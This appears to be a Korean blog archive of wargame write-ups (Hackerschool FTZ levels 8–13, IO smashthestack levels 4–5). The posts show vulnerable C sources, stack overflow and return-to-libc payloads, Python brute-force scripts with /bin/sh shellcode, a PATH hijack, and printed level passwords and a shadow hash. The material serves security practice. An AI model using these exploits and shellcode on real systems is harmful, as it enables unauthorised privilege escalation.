'Wargame'에 해당하는 글 21건

Category : System hacking

ssh://ftz.hackerschool.org
id : level13
pw : have no clue

Summary : buffer overflow on redhat 6.2


서버에 접속하여 문제파일을 확인한다.

[level13@ftz level13]$ ls -l
합계 28
-rwsr-x---    1 level14  level13     13953  3월  8  2003 attackme
-rw-r-----    1 root     level13       258  3월  8  2003 hint
drwxr-xr-x    2 root     level13      4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level13      4096  7월 21 03:58 tmp
[level13@ftz level13]$ cat hint

#include <stdlib.h>

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   setreuid( 3094, 3094 );
   if(argc > 1)
   strcpy(buf,argv[1]);

   if(i != 0x1234567) {
   printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);
   }
}


hint 파일은 attackme라는 프로그램의 source이다.
source를 보면 strcpy함수로 인해 buffer overflow취약점이 발생하는 것을 볼 수 있다.
지역변수 i의 값이 0x1234567이 아니면 kill 함수로 프로세스를 종료시켜버리기 때문에 공격할 때에 i의 값도 0x1234567로 덮어주어야한다.




'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level12  (0) 2011.07.28
Hackerschool FTZ level11  (0) 2011.07.19
Hackerschool FTZ level10  (2) 2011.07.17
Hackerschool FTZ level9  (0) 2011.07.17
Hackerschool FTZ level8  (0) 2011.07.17

WRITTEN BY
pwn3r_45

, 댓글  0개가 달렸습니다.
secret

Category : System hacking

ssh://ftz.hackerschool.org
id : level12
pw : it is like this

Summary : buffer overflow on redhat 6.2


서버에 접속하여 문제 파일을 확인한다.

[level12@ftz level12]$ ls -l
합계 28
-rwsr-x---    1 level13  level12     13771  3월  8  2003 attackme
-rw-r-----    1 root     level12       204  3월  8  2003 hint
drwxr-xr-x    2 root     level12      4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level12      4096  7월 21 05:15 tmp
[level12@ftz level12]$ cat hint


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main( void )
{
 char str[256];

  setreuid( 3093, 3093 );
 printf( "문장을 입력하세요.\n" );
 gets( str );
 printf( "%s\n", str );


hint 파일에는 attackme 라는 프로그램의 source가 있다.
source를 보게되면 gets함수로 인해 buffer overflow 취약점이 발생함을 할 수 있다.. level13 user의 프로그램인 attackme에는 setuid가 걸려있으므로 overflow취약점을 이용하여 level13 user의 쉘을 획득할 수 있다.

이번에는 공유라이브러리의 system함수의 주소를 return address에 덮어주고 , 인자로 공유라이브러리내에 있는 "/bin/sh"라는 문자열의 주소를 넣어주어 공격할 것이다.
우선 ,  필요한 정보들을 수집한다.

0x08048473 <main+3>: sub    $0x108,%esp

지역변수의 크기는 264byte이므로 return address를 덮기위해선 sfp 포함 268byte를 채워주어야한다.

(gdb) p system
$1 = {<text variable, no debug info>} 0x4005f430 <system>

공유라이브러리에서 "/bin/sh"라는 문자열을 찾아주는 간단한 프로그램을 작성해 실행한다.

[level12@ftz .pwn3r]$ cat whereisit.c
#include <stdio.h>

int main()
{
 long addr = 0x4005f430;
 while(memcmp((void *)addr , "/bin/sh" , 7)) addr++;
 printf("0x%x\n" , addr);
}
[level12@ftz .pwn3r]$ gcc -o whereisit whereisit.c
[level12@ftz .pwn3r]$ ./whereisit
0x4014ad24


필요한 정보를 모두 얻었으므로 공격한다.

[level12@ftz .pwn3r]$ (python -c 'print "a"*268 + "\x30\xf4\x05\x40" + "bbbb" + "\x24\xad\x14\x40"';cat) | ~/attackme
문장을 입력하세요.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0?bbbb$?@
       
id
uid=3093(level13) gid=3092(level12) groups=3092(level12)
my-pass

Level13 Password is "have no clue".


level13 user의 쉘을 획득하고 password를 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level13  (0) 2011.07.28
Hackerschool FTZ level11  (0) 2011.07.19
Hackerschool FTZ level10  (2) 2011.07.17
Hackerschool FTZ level9  (0) 2011.07.17
Hackerschool FTZ level8  (0) 2011.07.17

WRITTEN BY
pwn3r_45

, 댓글  0개가 달렸습니다.
secret


level5@io:/tmp/pwn3r$ cat exploit.py 
#!/usr/bin/python

import os

TARGET = "/levels/level05"
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

print "[!] Exploit started!"

for i in range(0xff , 0x00 , -1):
 for j in range(0x01 , 0x100 , 100):
  payload = ""
  payload += "\x90" * 100
  payload += SHELLCODE
  payload += "\x90" * (40 - len(SHELLCODE))
  payload += chr(j) + chr(i) + "\xff\xbf"
  pid = os.fork()

  if pid == 0:
   os.execv(TARGET , ("pwn3r" , payload))
  else:
   os.waitpid(pid , 0)
level5@io:/tmp/pwn3r$ ./exploit.py
[!] Exploit started!
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ?????????????????
????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                               ????????????????e?
sh-3.2$ id
auid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1005(level5),1029(nosu)
t sh-3.2$ cat /home/level6/.pass
MJQsFVD8k46V

'Wargame > IO.smashthestack.org' 카테고리의 다른 글

IO smashthestack level4  (0) 2011.07.25
IO smashthestack level3  (0) 2011.07.17
IO smashthestack level2  (0) 2011.07.17
IO smashthestack level1  (0) 2011.07.17

WRITTEN BY
pwn3r_45

, 댓글  0개가 달렸습니다.
secret
level4@io:/tmp/.pwn3r$ ls -l /levels/level04* 
-r-sr-x--- 1 level5 level4 7016 Nov 16  2007 /levels/level04 
-r-------- 1 level4 level4  65 Nov 16  2007 /levels/level04.c 
level4@io:/tmp/.pwn3r$ cat /levels/level04.c 
#include <stdlib.h> 

int main() { 

system("id"); 

return 0; 
} 
level4@io:/tmp/.pwn3r$ ls -l    
total 12 
-rwxr-xr-x 1 level4 level4 6639 Apr  8 15:09 id 
-rw-r--r-- 1 level4 level4  89 Apr  8 15:09 id.c 
level4@io:/tmp/.pwn3r$ cat id.c 
#include <stdio.h> 

int main() 
{ 
  setreuid(geteuid(),geteuid()); 
  system("/bin/sh"); 
} 
level4@io:/tmp/.pwn3r$ export | grep PATH 
declare -x LD_LIBRARY_PATH="/usr/local/lib" 
declare -x PATH="/usr/local/bin:/usr/bin:/bin:/usr/games" 
level4@io:/tmp/.pwn3r$ export PATH=/tmp/.pwn3r:$PATH 
level4@io:/tmp/.pwn3r$ /levels/level04  
sh-3.2$ /usr/bin/id 
uid=1005(level5) gid=1004(level4) groups=1004(level4),1029(nosu) 
sh-3.2$ cat /home/level5/.pass 
RAhK8VOfcVYV 
sh-3.2$ 

'Wargame > IO.smashthestack.org' 카테고리의 다른 글

IO smashthestack level5  (0) 2011.07.25
IO smashthestack level3  (0) 2011.07.17
IO smashthestack level2  (0) 2011.07.17
IO smashthestack level1  (0) 2011.07.17

WRITTEN BY
pwn3r_45

, 댓글  0개가 달렸습니다.
secret
Category : System hacking

ssh://ftz.hackerschool.org
id : level11
pw : what!@#$?

Summary : buffer overflow on redhat 6.2



서버에 접속하여 문제 파일을 확인한다.

[level11@ftz level11]$ ls -l
합계 28
-rwsr-x---    1 level12  level11     13733  3월  8  2003 attackme
-rw-r-----    1 root     level11       168  3월  8  2003 hint
drwxr-xr-x    2 root     level11      4096  2월 24  2002 public_html
drwxrwxr-x    4 root     level11      4096  7월 12 13:18 tmp
[level11@ftz level11]$ cat hint

#include <stdio.h>
#include <stdlib.h>
 
int main( int argc, char *argv[] )
{
 char str[256];

 setreuid( 3092, 3092 );
 strcpy( str, argv[1] );
 printf( str );
}

 


attackme 라는 setuid가 걸린 level12 user의 프로그램과 hint가 있는데 , hint에는 attackme 프로그램의 source가 나와있다.
source를 보게되면 strcpy함수로 인해 발생하는 overflow 취약점과 format string bug 취약점이 있음을 볼 수 있다.

overflow 취약점을 이용한 풀이를 할것이다.
stack에 실행 권한이 있으므로 shellcode를 이용한 공격을 할 것 이다.
지역변수는 str배열 하나만 선언되었기 때문에 , 지역변수의 크기만 알면 쉽게 공격할 수 있다.

0x08048473 <main+3>:sub    $0x108,%esp

지역변수는 총 264바이트가 선언되었으므로 sfp포함 268바이트를 덮어주고 return address에 nop + shellcode 의 주소를 넣어준다. shellcode는 지역변수공간에 넣어준다.

이제 shellcode가 위치한 주소를 찾아주어야 하는데, 디버깅을 하면 매우 쉽게 찾을 수 있지만 , 이번에는 python script를 작성하여 return address를 브루트포싱해 공격해본다.

[level11@ftz .pwn3r]$ vi exploit.py
[level11@ftz .pwn3r]$ cat exploit.py
#!/usr/bin/python

import os

TARGET = "/home/level11/attackme"
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

print "[!] Exploit started!"

for i in range(0xff , 0x00 , -1):
 for j in range(0x01 , 0x100 , 200):
  payload = ""
  payload += "\x90" * 200
  payload += SHELLCODE
  payload += "\x90" * (68 - len(SHELLCODE))
  payload += chr(j) + chr(i) + "\xff\xbf"
  pid = os.fork()

  if pid == 0:
   os.execv(TARGET , ("pwn3r" , payload))
  else:
   os.waitpid(pid , 0)
[level11@ftz .pwn3r]$ ./exploit.py
[!] Exploit started!
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".


level12 user의 쉘을 획득하고 password를 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level13  (0) 2011.07.28
Hackerschool FTZ level12  (0) 2011.07.28
Hackerschool FTZ level10  (2) 2011.07.17
Hackerschool FTZ level9  (0) 2011.07.17
Hackerschool FTZ level8  (0) 2011.07.17

WRITTEN BY
pwn3r_45

, 댓글  0개가 달렸습니다.
secret
Category : System hacking

ssh://ftz.hackerschool.org
id : level10
pw : interesting to hack!

Summary : Tap chatting based on shared memory



서버에 접속하여 문제 파일을 확인한다.

[level10@ftz level10]$ ls -l
합계 16
-rw-r-----    1 root     level10       253  1월 14  2010 hint
drwxr-x---    2 root     root         4096  3월 29  2003 program
drwxr-xr-x    2 root     level10      4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level10      4096  7월 12 02:40 tmp
[level10@ftz level10]$ cat hint


두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며,
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여
level11의 권한을 얻어라.

- 레벨을 완료하셨다면 소스는 지우고 나가주세요.


공유메모리 기반의 채팅을 도청하는 것이 문제의 목적이다.
공유메모리의 정보를 확인한 후 , C로 공유메모리의 데이터를 얻어오는 프로그램을 작성해 실행한다.

[level10@ftz tmp]$ ipcs

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status     
0x00001d6a 0          root      666        1028       0                      
0x46532e4f 65538      trainer10 777        5          1                      

------ Semaphore Arrays --------
key        semid      owner      perms      nsems    

------ Message Queues --------
key        msqid      owner      perms      used-bytes   messages   

[level10@ftz tmp]$ vi tapper.c
[level10@ftz tmp]$ cat tapper.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/shm.h>

int main()
{
 long addr;
 key_t key = 7530;
 int shmid;
 
 shmid = shmget(key , 1028 , IPC_CREAT);
 addr = shmat(shmid , 0 , SHM_RDONLY);
 printf("%s" , addr);
}
[level10@ftz tmp]$ gcc -o tapper tapper.c
tapper.c: In function `main':
tapper.c:12: warning: assignment makes integer from pointer without a cast
[level10@ftz tmp]$ ./tapper
멍멍: level11의 패스워드는?
구타: what!@#$?


level10 user의 password를 얻었다.









'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level12  (0) 2011.07.28
Hackerschool FTZ level11  (0) 2011.07.19
Hackerschool FTZ level9  (0) 2011.07.17
Hackerschool FTZ level8  (0) 2011.07.17
Hackerschool FTZ level7  (0) 2011.07.17

WRITTEN BY
pwn3r_45

, 댓글  2개가 달렸습니다.
secret
Category : System hacking

ssh://ftz.hackerschool.org
id : level9
pw : apple

Summary : overflow , overwrite another variable


서버에 접속하여 문제 파일을 확인한다.

[level9@ftz level9]$ ls -l
합계 12
-rw-r--r--    1 root     root          391 11월 13  2002 hint
drwxr-xr-x    2 root     level9       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level9       4096  7월 10 02:40 tmp
[level9@ftz level9]$ cat hint


다음은 /usr/bin/bof의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main(){
 
  char buf2[10];
  char buf[10];
 
  printf("It can be overflow : ");
  fgets(buf,40,stdin);
 
  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }
 
}  

이를 이용하여 level10의 권한을 얻어라.

 


할당된 buf의 크기를 초과하여 입력받기 때문에 overflow 취약점이 존재한다.
이로 인해 buf2배열을 마음대로 조작할 수 있다.
그런데 buf2의 첫 2글자가 "go"라면 level10 user의 쉘을 실행해주기 때문에 overflow취약점을 이용해 buf2의 첫 2글자를 조작해주어야한다.

지역변수 공간의 크기와 변수간의 offset만 알아도 공격에 성공할 수 있다.

..................
0x08048503 <main+3>: sub    $0x28,%esp
..................
0x08048530 <main+48>: push   $0x2
0x08048532 <main+50>: push   $0x80485fe
0x08048537 <main+55>: lea    0xffffffe8(%ebp),%eax
0x0804853a <main+58>: push   %eax
0x0804853b <main+59>: call   0x80483bc <strncmp>
..................

buf는 ebp-40부터 시작하며 , buf2는ebp-24부터시작한다.
그러므로 아무문자로 16byte를 채워주고 "go"라는 문자열을 입력하면 buf2에 "go"가 입력되어 level10 user의 쉘을 획득할 수 있다.

[level9@ftz level9]$ (python -c 'print "a"*16 + "go"';cat) | bof
It can be overflow : Good Skill!
id
uid=3010(level10) gid=3009(level9) groups=3009(level9)
my-pass

Level10 Password is "interesting to hack!".


level10 user의 쉘을 획득하고 password를 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level11  (0) 2011.07.19
Hackerschool FTZ level10  (2) 2011.07.17
Hackerschool FTZ level8  (0) 2011.07.17
Hackerschool FTZ level7  (0) 2011.07.17
Hackerschool FTZ level6  (0) 2011.07.17

WRITTEN BY
pwn3r_45

, 댓글  0개가 달렸습니다.
secret
Category : System hacking

ssh://ftz.hackerschool.org
id : level8
pw : break the world

Summary : shadow file crack



서버에 접속하여 문제 파일을 확인한다.

[level8@ftz level8]$ ls -l
합계 12
-rw-r-----    1 root     level8        109  8월 30  2009 hint
drwxr-xr-x    2 root     level8       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level8       4096  7월  9 10:38 tmp
[level8@ftz level8]$ cat hint


level9의 shadow 파일이 서버 어딘가에 숨어있다.
그 파일에 대해 알려진 것은 용량이 "2700"이라는 것 뿐이다.

 


서버내에 level9의 shadow 파일이 숨겨져있으므로 파일을 찾아 level9 password 의 hash를 크랙하면 level9 user의 password를 얻을 수 있다.
하지만 용량이 2700이라는 단서밖에 없으므로 find 의 size 옵션을 이용해 검색해본다.

[level8@ftz level8]$ find / -size 2700c 2> /dev/null
/var/www/manual/ssl/ssl_intro_fig2.gif
/etc/rc.d/found.txt
^C

2개는 금방 나왔지만 오랫동안 검색이 끝나지 않아 그냥 종료시키고 진행했다.
2개의 파일을 열어보니 /etc/rc.d/found.txt가 level9의 shadow파일이라는 것을 알 수 있었다.

[level8@ftz level8]$ cat /etc/rc.d/found.txt
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

